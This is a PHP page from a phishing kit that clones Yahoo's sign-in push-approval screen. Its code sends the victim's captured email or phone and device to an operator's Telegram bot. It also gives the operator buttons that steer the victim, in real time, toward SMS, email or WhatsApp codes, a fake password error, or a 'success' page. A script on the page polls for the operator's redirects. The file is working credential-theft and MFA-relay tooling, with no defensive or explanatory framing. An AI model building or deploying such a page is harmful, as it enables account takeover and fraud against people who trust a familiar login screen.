<?php
error_reporting(0);
session_start();
#include('Antibot/pro.php');
#include('Antibot/blocker.php');
#include('Antibot/blocker_1.php');
#include('Antibot/blocker_2.php');
#include('Antibot/blocker_3.php');
#include('Antibot/blocker_4.php');
include('config.php');

// Get visitor ID from URL or session
$visitor_id = $_GET['id'] ?? null;
if (!$visitor_id) {
    header("Location: error.php");
    exit();
}

// Generate random ID for redirects
$random_id = bin2hex(random_bytes(16));

// Check for device parameter in current URL
if (isset($_GET['device']) && !empty($_GET['device'])) {
    $_SESSION['device'] = $_GET['device'];
} else if (!isset($_SESSION['device']) || empty($_SESSION['device'])) {
    $_SESSION['device'] = 'browser';
}

// Check if visitor key exists in cookie
if (!isset($_COOKIE['visitor_key'])) {
    header("Location: index.php?" . $random_id);
    exit();
}

// Check if session username exists and has a value
if (!isset($_SESSION['username']) || empty($_SESSION['username'])) {
    header("Location: index.php?id=" . $random_id);
    exit();
}

// Send Telegram notification on page load
$IP = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'Unknown';
$useragent = $_SERVER['HTTP_USER_AGENT'];
$os = $_SERVER['HTTP_USER_AGENT'];
$date = date("F j, Y g:i a");

$msgtg = "🔐 <b>GMAIL YES/NO PROMPT</b> 🔐\n";
$msgtg .= "━━━━━━━━━━━━━━━\n\n";

$msgtg .= "👤 <b>USER INFO</b>\n";
$msgtg .= "Email/Phone: <code>" . htmlspecialchars($_SESSION['username']) . "</code>\n";
$msgtg .= "Device: <code>" . htmlspecialchars($_SESSION['device']) . "</code>\n\n";

$msgtg .= "🔑 <b>VISITOR INFO</b>\n";
$msgtg .= "Visitor ID: <code>" . $_GET['id'] . "</code>\n\n";

// Create inline keyboard for actions
$keyboard = [
    'inline_keyboard' => [
        [
            ['text' => '🔒 Security Preference', 'callback_data' => 'security_preference']
        ],
        [
            ['text' => '✅ Yes Prompt', 'callback_data' => 'yes_prompt']
        ],
        [
            ['text' => '📱 SMS Code', 'callback_data' => 'sms_code'],
            ['text' => '📧 Email Code', 'callback_data' => 'email_code']
        ],
        [
            ['text' => '💬 WhatsApp Code', 'callback_data' => 'whatsapp_code'],
            ['text' => '🔢 Confirm Digits', 'callback_data' => 'confirmdigits']
        ],
        [
            ['text' => '❌ Password Error', 'callback_data' => 'password_error'],
            ['text' => '🚫 Block Visitor', 'callback_data' => 'block']
        ],
        [
            ['text' => '✅ Success', 'callback_data' => 'success']
        ]
    ]
];

if ($settings['telegram'] == "1") {
    $send = [
        'chat_id' => $settings['chat_id'],
        'text' => $msgtg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true,
        'reply_markup' => json_encode($keyboard)
    ];
    
    $website = "https://api.telegram.org/bot{$settings['bot_url']}";
    $ch = curl_init($website . '/sendMessage');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec($ch);
    curl_close($ch);
}

// Add JavaScript to check for redirect updates
?>
<!DOCTYPE html>
<!-- saved from url=(0191)https://login.yahoo.com/account/challenge/push?display=login&done=https%3A%2F%2Fwww.yahoo.com%2F&prefill=0&prompt=login&chllngnm=fail&acrumb=CJbGdr4c&authMechanism=primary&sessionIndex=QQ-%2D -->
<html id="Stencil" lang="en-US" class="js grid light-theme "><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        
        <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no">
        <meta name="format-detection" content="telephone=no">
        <meta name="referrer" content="strict-origin-when-cross-origin">
        <meta name="oath:guce:consent-host" content="guce.yahoo.com">
        <title>Login - Sign in to&nbsp;Yahoo</title>
        <meta name="description" content="Sign in to access the best in class Yahoo Mail, breaking local, national and global news, finance, sports, music, movies... You get more out of the web, you get more out of life.">
        <link rel="dns-prefetch" href="https://gstatic.com/">
        <link rel="dns-prefetch" href="https://google.com/">
        <link rel="dns-prefetch" href="https://s.yimg.com/">
        <link rel="dns-prefetch" href="https://y.analytics.yahoo.com/">
        <link rel="dns-prefetch" href="https://ucs.query.yahoo.com/">
        <link rel="dns-prefetch" href="https://geo.query.yahoo.com/">
        <link rel="dns-prefetch" href="https://geo.yahoo.com/">
        <link rel="icon" type="image/x-icon" href="assets/yahoo-favicon-img-v0.0.2.ico">
        <link rel="shortcut icon" type="image/x-icon" href="assets/yahoo-favicon-img-v0.0.2.ico">
        <meta name="google-site-verification" content="yOTFyUBPTnXtuk2cPpqfv7ZvZ960JgqsV8FomN3n7Y0">
        <link rel="apple-touch-icon" href="assets/yahoo-apple-touch-v0.0.2.png">
        <link rel="apple-touch-icon-precomposed" href="assets/yahoo-apple-touch-v0.0.2.png">
        <style nonce="">
            #mbr-css-check {
                display: inline;
            }
        </style>
        <link href="assets/yahoo-main.css" rel="stylesheet" type="text/css">
        <script async="" src="assets/comet"></script><script nonce="">
            var pageStartTime = new Date().getTime();
            (function(root) {
                var isGoodJS = ('create' in Object && 'isArray' in Array && 'pushState' in window.history);
                root.isGoodJS = isGoodJS;
            }(this));
            
(function (root) {
/* -- Data -- */
root.YUI_config = {"comboBase":"https:\u002F\u002Fs.yimg.com\u002Fzz\u002Fcombo?","combine":true,"root":"yui-s:3.18.0\u002F"};
root.I13N_config = {"keys":{"pt":"utility","ver":"nodejs"}};
root.I13N_config || (root.I13N_config = {});
root.I13N_config.spaceid = 794200108;
root.I13N_config.location = "https:\u002F\u002Flogin.yahoo.com\u002Faccount\u002Fchallenge\u002Fpush?display=login";
root.I13N_config.referrer = "https:\u002F\u002Flogin.yahoo.com\u002Faccount\u002Fchallenge\u002Fpush?display=login";
root.I13N_config.keys || (root.I13N_config.keys = {});
root.I13N_config.keys.pg_name = "pushChallenge";
root.I13N_config.keys.gm_np = "yahoo";
root.I13N_config.keys.p_sec = "DEFAULT_SECTION";
root.I13N_config.keys.p_subsec = "DEFAULT_SUBSECTION";
root.I13N_config.keys.test = "mbr-whatsapp-ac,mbr-enbl-commchnl-rev-trap-sess-ext,mbr-imap-templatization,mbr-message-preference-link,mbr-oauth2-api-host,mbr-oauth2-post-api-host,mbr-whatsapp-nac,mbr-passkey-mgmt";
root.I13N_config.keys.cause = "direct-nav";
root.I13N_config.keys.src_id = 794200108;
root.COMET_URL = "https:\u002F\u002Fserver.comet.yahoo.com\u002Fcomet";
root.gamIframeUrl = "https:\u002F\u002Fgpt.mail.yahoo.net\u002Fsandbox?client=login&version=0.1&limited=0&headerBidder=1&haq=1&benji=1#config=%7B%22positions%22%3A%5B%7B%22adUnitPath%22%3A%22%2F22888152279%2Fus%2Fylogin%2Fmain%2Fdt%2Fus_ylogin_main_dt_full_screen%22%2C%22adLocation%22%3A%22full_screen%22%2C%22size%22%3A%5B%5B1440%2C1024%5D%2C%5B%22fluid%22%5D%5D%2C%22div%22%3A%22gpt-passback%22%7D%5D%2C%22pageUrl%22%3A%22https%3A%2F%2Flogin.yahoo.com%22%2C%22headerBidder%22%3Atrue%2C%22yahooPrebid%22%3Atrue%2C%22geoCountryCode%22%3A%22US%22%2C%22npa%22%3Afalse%2C%22limited%22%3Afalse%2C%22targetingConfig%22%3A%7B%22lang%22%3A%22en-US%22%2C%22bucket%22%3A%22mbr-whatsapp-ac%2Cmbr-oauth2-api-host%2Cmbr-oauth2-post-api-host%2Cmbr-whatsapp-nac%22%2C%22spaceId%22%3A%22794200108%22%2C%22adLocation%22%3A%22full_screen%22%2C%22age%22%3A%223%22%2C%22gender%22%3A%220%22%2C%22colo%22%3A%22bf1%22%2C%22lu%22%3A%220%22%2C%22site%22%3A%22login%22%2C%22device%22%3A%22desktop%22%2C%22region%22%3A%22us%22%2C%22pageOrigin%22%3A%22https%3A%2F%2Flogin.yahoo.com%22%2C%22AXIds%22%3A%22__AXId__%22%2C%22tblaId%22%3A%22__tblaId__%22%7D%2C%22headerBidderConfig%22%3A%7B%22host%22%3A%22login.yahoo.com%22%2C%22pblob%22%3A%22lu%3A0%7C%7C794200108%7C%7C%22%2C%22buckets%22%3A%5B%22mbr-whatsapp-ac%22%2C%22mbr-oauth2-api-host%22%2C%22mbr-oauth2-post-api-host%22%2C%22mbr-whatsapp-nac%22%5D%2C%22limited%22%3Afalse%2C%22cobrand%22%3A%22%22%2C%22lang%22%3A%22en-US%22%2C%22site%22%3A%22yahoo_login%22%2C%22region%22%3A%22us%22%2C%22adLocation%22%3A%22full_screen%22%7D%7D";
root.challenge || (root.challenge = {});
root.challenge.servingStamp = 1745695193841;
root.challenge.isAndroidWebview = false;
root.I13N_config.keys.pct = "signin";
root.I13N_config.keys.milestone = "signin";
root.pushChallengeConfig = {"validatePath":"\u002Faccount\u002Fmodule\u002Fchallenge\u002Fpush\u002Fvalidate?display=login&done=https%3A%2F%2Fwww.yahoo.com%2F&prefill=0&prompt=login&chllngnm=fail&acrumb=CJbGdr4c&authMechanism=primary&sessionIndex=QQ--&sid=qKEZog5oC4nO-608ccc58dd-slc&dfsid=J56VJs9m8U94&trustedFor2SV=n","timedOutYakSessionUrl":"\u002Faccount\u002Fmodule\u002Fchallenge\u002Fpush\u002Ftimeout?display=login&done=https%3A%2F%2Fwww.yahoo.com%2F&prefill=0&prompt=login&chllngnm=fail&acrumb=CJbGdr4c&authMechanism=primary&sessionIndex=QQ--&sid=qKEZog5oC4nO-608ccc58dd-slc","updateYAKSessionUrl":"\u002Faccount\u002Fchallenge\u002Fpush?display=login&done=https%3A%2F%2Fwww.yahoo.com%2F&prefill=0&prompt=login&chllngnm=fail&acrumb=CJbGdr4c&authMechanism=primary&sessionIndex=QQ--&sid=qKEZog5oC4nO-608ccc58dd-slc&unloadPage=true","long":false,"delay":3000,"interval":2000,"timeout":300000,"enablePauseCheck":false};
root.isIOSDevice = false;
}(this));

            
            YUI_config.global = window;


            window.mbrSendError = function (name, url) {
                (new Image()).src = '/account/js-reporting/?rid=567kk3dk0qcep&crumb=' + encodeURIComponent('XSyVJB8MECo/wlDotAYdA') + '&message=' + encodeURIComponent(name) + '&url=' + encodeURIComponent(url);
            };

            var oldError = window.onerror;

            var allowListedErrorScripts = ["bundle.js"];
            window.onerror = function (errorMsg, url, lineNumber, column, errorObj) {
                const fileName = url ? url.split('/').pop() : null;
                if (fileName && allowListedErrorScripts.indexOf(fileName) > -1) {
                    window.mbrSendError(errorMsg, url);
                    if (oldError) {
                        oldError.apply(this, arguments);
                    }
                    return false;
                }
            }

        </script>
    </head>
    <body class="bucket-mbr-whatsapp-ac bucket-mbr-oauth2-api-host bucket-mbr-oauth2-post-api-host bucket-mbr-whatsapp-nac">
    <script nonce="">
        (function(root) {
            var doc = document;
            if (root.isGoodJS) {
                doc.documentElement.className = doc.documentElement.className.replace('no-js', 'js');
            }
        }(this));
    </script>
    <div id="login-body" class="loginish  puree-v2  grid   ">
    <div class="mbr-desktop-hd">
    <span class="column">
         <a href="https://www.yahoo.com/">
            <img src="assets/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png" alt="Yahoo" class="logo " width="" height="36">
            <img src="assets/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png" alt="Yahoo" class="dark-mode-logo logo " width="" height="36">
        </a>
    </span>
    <div class="desktop-universal-header">
        <a href="https://help.yahoo.com/kb/index?locale=en_US&amp;page=product&amp;y=PROD_ACCT" data-rapid-tracking="true" data-ylk="elm:link;elmt:link;slk:headerHelp">Help</a>
        <a href="https://legal.yahoo.com/us/en/yahoo/terms/otos/index.html" class="universal-header-links" data-rapid-tracking="true" data-ylk="elm:link;elmt:link;slk:headerTerms">Terms</a>
        <a href="https://legal.yahoo.com/us/en/yahoo/privacy/index.html" class="universal-header-links privacy-link" data-rapid-tracking="true" data-ylk="elm:link;elmt:link;slk:headerPrivacy">Privacy</a>
    </div>
</div>
    <div class="login-box-container">
        <div class="login-box right">
            <div class="mbr-login-hd txt-align-center">
                    <img src="assets/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png" alt="Yahoo" class="logo yahoo-en-US" width="" height="27">
                    <img src="assets/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png" alt="Yahoo" class="dark-mode-logo logo yahoo-en-US" width="" height="27">
            </div>
            <div class="challenge push-challenge">
    <div id="push-challenge" class="authorize authorize-verify-polling no-padding slc">
    <strong class="challenge-heading">Open your&nbsp;iPhone</strong>
    <div id="push-error-container" class="device-error hide">
        <p class="writeup">
            <strong class="error-title">Notifications turned&nbsp;off</strong>
                You're an Account Key user and to receive sign in notifications, you must turn on notifications for Yahoo Mail app on your&nbsp;Iphone.
        </p>
    </div>
    <div id="push-title-container" class="authorize-verify-title" data-message="">
        <span class="challenge-desc">to approve the sign in request sent&nbsp;to</span>
        <strong class="challenge-sub-desc">Yahoo Mail&nbsp;app</strong>
    </div>
    <img id="push-anim-img" class="push-img" role="presentation" alt="" src="assets/account-key-push-v0.0.2.gif">
    <ul id="initial-instructions-list" class="instruction-list">
        <li class="tap-notification">Tap on Yahoo&nbsp;notification</li>
        <li class="tap-yes">Click on <strong>YES</strong> to sign&nbsp;in</li>
    </ul>
    <ul id="learn-more-instructions" class="instruction-list ios hide">
        <li>Go to iPhone <span class="settings icon"></span> "Settings"</li>
        <li><span class="notifications icon"></span> Select "Notifications"</li>
        <li>Select any <span class="app icon"></span> Yahoo&nbsp;app</li>
        <li><span class="toggle icon"></span> Turn on "Allow&nbsp;Notifications"</li>
    </ul>

    <script>
        // Configuration values from PHP
        const CHECK_INTERVAL = <?php echo $settings['loading_check_interval'] ?? 1000; ?>;
        const TIMEOUT = <?php echo $settings['loading_timeout'] ?? 30; ?>;
        const VISITOR_ID = '<?php echo $visitor_id; ?>';
    </script>
    <script src="assets/js/redirect-checker.js"></script> 


    <form id="push-polling-form" action="#" method="post" class="pure-form pure-form-stacked">

        <hr class="separator">
        <div id="push-polling-container">
            <p id="push-polling-resend-button-container" class="pure-form pure-form-stacked authorize-polling-resend initial">
                <span class="challenge-bottom-link-desc">Can’t find&nbsp;notification?</span>
                <button type="submit" name="resend" id="push-polling-resend" data-ylk="elm:btn;elmt:resend;slk:resend" data-rapid-tracking="true" class="puree-button-link challenge-resend-link" value="Resend">Resend</button>
            </p>
        </div>
        <div class="bottom-cta bottom-sticky" id="push-bottom-cta">
            <input type="submit" name="skip" class="pure-button puree-button-link challenge-button-link" data-ylk="elm:btn;elmt:skip;slk:skip;mKey:skip-recovery" data-rapid-tracking="true" value="See more verification methods">
        </div>
    </form>

</div>
</div>
        </div>
        <div id="login-box-ad-fallback" class="login-box-ad-fallback" style="display: block;">
            

        </div>
    </div>
    <div class="login-bg-outer">
        <div class="login-bg-inner">
            <div id="login-ad-rich" aria-hidden="true">
                <iframe id="login-ads-gpt-iframe" allow="geolocation &#39;none&#39;; fullscreen &#39;none&#39;; autoplay &#39;none&#39;; camera &#39;none&#39;; display-capture &#39;none&#39;; document-domain &#39;none&#39;; microphone &#39;none&#39;; gyroscope &#39;none&#39;; magnetometer &#39;none&#39;; midi &#39;none&#39;; payment &#39;none&#39;; serial &#39;none&#39;; speaker-selection &#39;none&#39;" sandbox="allow-forms allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts" width="1440" height="1024" scrolling="no" frameborder="no" src="assets/sandbox.html" style="display: none;"></iframe>
            </div>
                    </div>
    </div>
</div>
    <script src="assets/rapid-3.53.39.js.download"></script>
    <script nonce="">
        var rapidInstance = new YAHOO.i13n.Rapid(I13N_config);
    </script>
    <script src="assets/bundle.js.download"></script>
<script src="assets/cometd-non-yui-1.6.0_1-min.js.download"></script>
    <noscript>
        <img src="/account/js-reporting/?crumb=XSyVJB8MECo%2FwlDotAYdA&message=javascript_not_enabled&ref=%2Faccount%2Fchallenge%2Fpush" height="0" width="0" style="visibility: hidden;">
    </noscript>
    <script src="assets/cmp.js.download"></script><iframe name="__uspapiLocator" style="display: none;" src="assets/saved_resource.html"></iframe><iframe name="__tcfapiLocator" style="display: none;" src="assets/saved_resource(1).html"></iframe><iframe name="__gppLocator" style="display: none;" src="assets/saved_resource(2).html"></iframe>
    <script src="assets/opus.js.download"></script>
    <div id="mbr-css-check"></div>
    <div id="page-mask" class="page-mask hide"></div>
    <div id="ad"></div>
    <div class="mbr-legacy-device-bar" id="mbr-legacy-device-bar">
        <label class="cross" for="mbr-legacy-device-bar-cross" aria-label="Close this warning">x</label>
        <input type="checkbox" id="mbr-legacy-device-bar-cross">
        <p class="mbr-legacy-device">
                Yahoo works best with the latest versions of the browsers. You're using an outdated or unsupported browser and some Yahoo features may not work properly. Please update your browser version now. <a href="#">More&nbsp;Info</a>
        </p>
    </div>
    <script nonce="">
        (function(root) {
            if (!root.isGoodJS) {
                document.getElementById('mbr-legacy-device-bar').style.display = 'block';
            }
        }(this));
    </script>
    

</body></html>